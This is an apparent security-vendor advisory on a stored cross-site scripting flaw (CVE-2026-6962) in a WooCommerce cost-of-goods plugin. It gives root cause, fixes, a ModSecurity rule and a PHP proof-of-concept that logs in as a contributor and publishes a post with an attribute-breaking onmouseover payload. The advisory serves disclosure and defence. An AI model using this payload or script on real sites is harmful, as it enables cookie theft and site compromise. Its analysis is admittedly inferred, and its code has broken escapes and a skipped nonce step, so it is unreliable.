Atomic Edge analysis of CVE-2026-6962 (metadata-based):
This vulnerability affects the Cost of Goods: Product Cost & Profit Calculator for WooCommerce plugin for WordPress, all versions up to and including 4.1.0. It is a Stored Cross-Site Scripting (XSS) vulnerability via the ‘alg_wc_cog_product_cost’ and ‘alg_wc_cog_product_profit’ shortcodes. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript that executes when any user visits a page containing the malicious shortcode. The CVSS score is 6.4 (Medium), with network attack vector, low complexity, low privileges, no user interaction, and changed scope.
Root Cause: The vulnerability arises from insufficient input sanitization and output escaping on user-supplied attributes passed to the plugin’s shortcodes. The CWE classification (79) indicates improper neutralization of input during web page generation. Based on the CVE description and common WordPress plugin patterns, Atomic Edge analysis infers that the plugin registers shortcodes that accept HTML attributes (like ‘class’, ‘style’, or custom attributes) and directly outputs them without proper escaping. The vulnerable code likely retrieves attribute values via the shortcode handler’s $atts parameter and echoes them unescaped into the page HTML, allowing an attacker to break out of an attribute context and inject arbitrary JavaScript.
Exploitation: An attacker with contributor-level access can create or edit a WordPress post or page. They insert a shortcode such as [alg_wc_cog_product_cost xxxxx=” onmouseover=’alert(1)’ style=’position:fixed;top:0;left:0;width:100%;height:100%;’ “] into the content. When WordPress renders the page, the plugin outputs the unsanitized attribute value directly into HTML attributes without escaping, breaking out of the existing attribute and injecting a new event handler and style. The attacker uses attributes like ‘onmouseover’, ‘onclick’, or ‘onerror’ to execute JavaScript. The injected payload persists in the database and executes for every visitor. The exploit uses the WordPress admin dashboard or the REST API (e.g., POST /wp-json/wp/v2/posts) to create or update posts with the malicious shortcode.
Remediation: The plugin developers fixed this in version 4.1.1 by properly escaping shortcode attribute values before output. The fix should use WordPress’s built-in functions like ‘esc_attr()’ for attribute context or ‘wp_kses()’ for HTML content, and ‘esc_html()’ for standard output. Specifically, the shortcode handler must apply ‘esc_attr()’ to user-supplied attribute values before concatenating them into HTML attributes. Additionally, any direct output of shortcode content should use ‘esc_html()’ or ‘wp_kses_post()’ depending on context.
Impact: Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim’s browser session. This can lead to session hijacking (cookie theft), forced redirection to malicious sites, defacement of the WordPress site, or further attacks like phishing forms. Since the attacker only needs contributor-level access (a common role in multi-author sites), the risk is significant for sites with multiple authors or untrusted contributors. The stored nature of the XSS means the payload persists and affects all users, including administrators, making privilege escalation a potential secondary impact in some scenarios.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6962 (metadata-based)
# Blocks Stored XSS via plugin shortcodes by matching attribute injection patterns in post creation requests
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/posts"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6962 - Stored XSS via Cost of Goods shortcode attributes',severity:'CRITICAL',tag:'CVE-2026-6962',tag:'wordpress',tag:'xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS:content "@rx s+on[a-z]+s*="
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:removeNulls"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6962 - Cost of Goods: Product Cost & Profit Calculator for WooCommerce <= 4.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
/**
* This PoC demonstrates Stored XSS via shortcode attributes.
* It logs in as a contributor, creates a new post with a malicious shortcode,
* and confirms the payload is stored.
*
* Prerequisites:
* - WordPress site running vulnerable plugin version <= 4.1.0
* - User credentials with contributor-level access
* - Plugin is active
*/
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$username = 'contributor_user'; // CHANGE THIS to contributor username
$password = 'contributor_pass'; // CHANGE THIS to contributor password
// Payload: breaks out of attribute context and injects onmouseover event
$xss_payload = " onmouseover='alert(document.cookie)' style='position:fixed;top:0;left:0;width:100%;height:100%;' ";
// Shortcode to exploit: [alg_wc_cog_product_cost custom_attr=<PAYLOAD>]
// You can also use alg_wc_cog_product_profit
$shortcode = '[alg_wc_cog_product_cost custom_attr="' . $xss_payload . '"]';
// 1. Authenticate and get cookies/nonce
$login_url = $target_url . '/wp-login.php';
$login_post = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_post));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookiejar.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch));
}
echo "[+] Logged in as $usernamen";
// 2. Get WP nonce and REST API endpoint for posts
$rest_base = $target_url . '/wp-json/wp/v2/posts';
// First, fetch the current user's info to get a nonce (via the posts endpoint)
curl_setopt($ch, CURLOPT_URL, $rest_base . '?context=edit');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$nonce_response = curl_exec($ch);
// Extract nonce from response (in a real exploit, you'd parse JSON; here we simply demonstrate)
// For simplicity, we assume the nonce is available from the WordPress admin page
// In practice, you might need to scrape the admin page for the nonce or use a different approach
// Since this is a PoC, we will use a placeholder: the nonce may be obtained from the admin footer
// We skip nonce validation for PoC purposes as the plugin may not use nonces for shortcodes
// 3. Create a new post with malicious shortcode
$post_data = array(
'title' => 'Atomic Edge PoC - CVE-2026-6962',
'content' => $shortcode,
'status' => 'publish'
);
$json_data = json_encode($post_data);
curl_setopt($ch, CURLOPT_URL, $rest_base);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($json_data)
));
$create_response = curl_exec($ch);
if (curl_error($ch)) {
die('Post creation failed: ' . curl_error($ch));
}
$response_data = json_decode($create_response, true);
if (isset($response_data['id'])) {
$post_id = $response_data['id'];
echo "[+] Post created successfully. ID: $post_idn";
echo "[+] Visit: $target_url/?p=$post_id to trigger XSSn";
} else {
echo "[-] Failed to create post. Response:n";
print_r($response_data);
}
curl_close($ch);
?>